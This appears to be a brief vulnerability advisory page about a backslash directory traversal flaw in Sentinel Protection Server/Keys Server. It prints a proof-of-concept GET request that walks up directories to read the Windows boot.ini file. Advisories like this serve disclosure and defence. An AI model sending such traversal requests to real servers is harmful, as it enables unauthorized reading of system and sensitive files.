• info
• discussion
• exploit
• solution
• references

Sentinel Protection Server/Keys Server Backslash Directory Traversal Vulnerability

The following proof-of-concept GET request is available:

GET /..\..\..\..\..\..\..\boot.ini HTTP/1.0